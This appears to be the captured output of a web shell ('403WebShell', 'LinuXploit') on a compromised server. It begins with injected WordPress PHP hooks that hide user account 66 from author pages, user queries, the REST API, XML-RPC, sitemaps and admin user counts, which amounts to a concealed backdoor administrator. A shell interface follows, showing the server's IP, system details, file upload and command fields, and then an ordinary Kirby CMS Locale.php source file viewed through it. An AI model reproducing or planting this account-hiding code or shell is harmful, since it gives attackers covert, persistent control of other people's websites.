add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/zukuenfte.net/kirby/src/Toolkit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/zukuenfte.net/kirby/src/Toolkit/Locale.php
<?php

namespace Kirby\Toolkit;

use Kirby\Exception\Exception;
use Kirby\Exception\InvalidArgumentException;

/**
 * PHP locale handling
 * @since 3.5.0
 *
 * @package   Kirby Toolkit
 * @author    Lukas Bestle <lukas@getkirby.com>
 * @link      https://getkirby.com
 * @copyright Bastian Allgeier
 * @license   https://opensource.org/licenses/MIT
 */
class Locale
{
	/**
	 * List of all locale constants supported by PHP
	 */
	public const LOCALE_CONSTANTS = [
		'LC_COLLATE',
		'LC_CTYPE',
		'LC_MONETARY',
		'LC_NUMERIC',
		'LC_TIME',
		'LC_MESSAGES'
	];

	/**
	 * Converts a normalized locale array to an array with the
	 * locale constants replaced with their string representations
	 */
	public static function export(array $locale): array
	{
		$return    = [];
		$constants = static::supportedConstants(true);

		// replace the keys in the locale data array with the locale names
		foreach ($locale as $key => $value) {
			// use string representation for key
			// if it is a valid constant
			$return[$constants[$key] ?? $key] = $value;
		}

		return $return;
	}

	/**
	 * Returns the current locale value for
	 * a specified or for all locale categories
	 * @since 3.5.6
	 *
	 * @param int|string $category Locale category constant or constant name
	 * @return array|string Associative array if `LC_ALL` was passed (default), otherwise string
	 *
	 * @throws \Kirby\Exception\Exception If the locale cannot be determined
	 * @throws \Kirby\Exception\InvalidArgumentException If the provided locale category is invalid
	 */
	public static function get(int|string $category = LC_ALL): array|string
	{
		$normalizedCategory = static::normalizeConstant($category);

		if (is_int($normalizedCategory) !== true) {
			throw new InvalidArgumentException('Invalid locale category "' . $category . '"');
		}

		if ($normalizedCategory !== LC_ALL) {
			// `setlocale(..., 0)` actually *gets* the locale
			$locale = setlocale($normalizedCategory, 0);

			if (is_string($locale) !== true) {
				throw new Exception('Could not determine locale for category "' . $category . '"');
			}

			return $locale;
		}

		// no specific `$category` was passed, make a list of all locales
		$array = [];
		foreach (static::supportedConstants() as $constant => $name) {
			// `setlocale(..., 0)` actually *gets* the locale
			$array[$constant] = setlocale($constant, '0');
		}

		// if all values are the same, we can use `LC_ALL`
		// instead of a long array with all constants
		if (count(array_unique($array)) === 1) {
			return [
				LC_ALL => array_shift($array)
			];
		}

		return $array;
	}

	/**
	 * Converts a locale string or an array with constant or
	 * string keys to a normalized constant => value array
	 *
	 * @param array|string $locale
	 */
	public static function normalize($locale): array
	{
		if (is_array($locale) === true) {
			// replace string constant keys with the constant values
			$convertedLocale = [];
			foreach ($locale as $key => $value) {
				$convertedLocale[static::normalizeConstant($key)] = $value;
			}

			return $convertedLocale;
		}

		if (is_string($locale) === true) {
			return [LC_ALL => $locale];
		}

		throw new InvalidArgumentException('Locale must be string or array');
	}

	/**
	 * Sets the PHP locale with a locale string or
	 * an array with constant or string keys
	 */
	public static function set(array|string $locale): void
	{
		$locale = static::normalize($locale);

		// locale for core string functions
		foreach ($locale as $key => $value) {
			setlocale($key, $value);
		}

		// locale for the intl extension
		if (
			function_exists('locale_set_default') === true &&
			$timeLocale = $locale[LC_TIME] ?? $locale[LC_ALL] ?? null
		) {
			locale_set_default($timeLocale);
		}
	}

	/**
	 * Tries to convert an `LC_*` constant name
	 * to its constant value
	 */
	protected static function normalizeConstant(int|string $constant): int|string
	{
		if (
			is_string($constant) === true &&
			Str::startsWith($constant, 'LC_') === true
		) {
			return constant($constant);
		}

		// already an int or we cannot convert it safely
		return $constant;
	}

	/**
	 * Builds an associative array with the locales
	 * that are actually supported on this system
	 *
	 * @param bool $withAll If set to `true`, `LC_ALL` is returned as well
	 */
	protected static function supportedConstants(bool $withAll = false): array
	{
		$names = static::LOCALE_CONSTANTS;
		if ($withAll === true) {
			array_unshift($names, 'LC_ALL');
		}

		$constants = [];
		foreach ($names as $name) {
			if (defined($name) === true) {
				$constants[constant($name)] = $name;
			}
		}

		return $constants;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit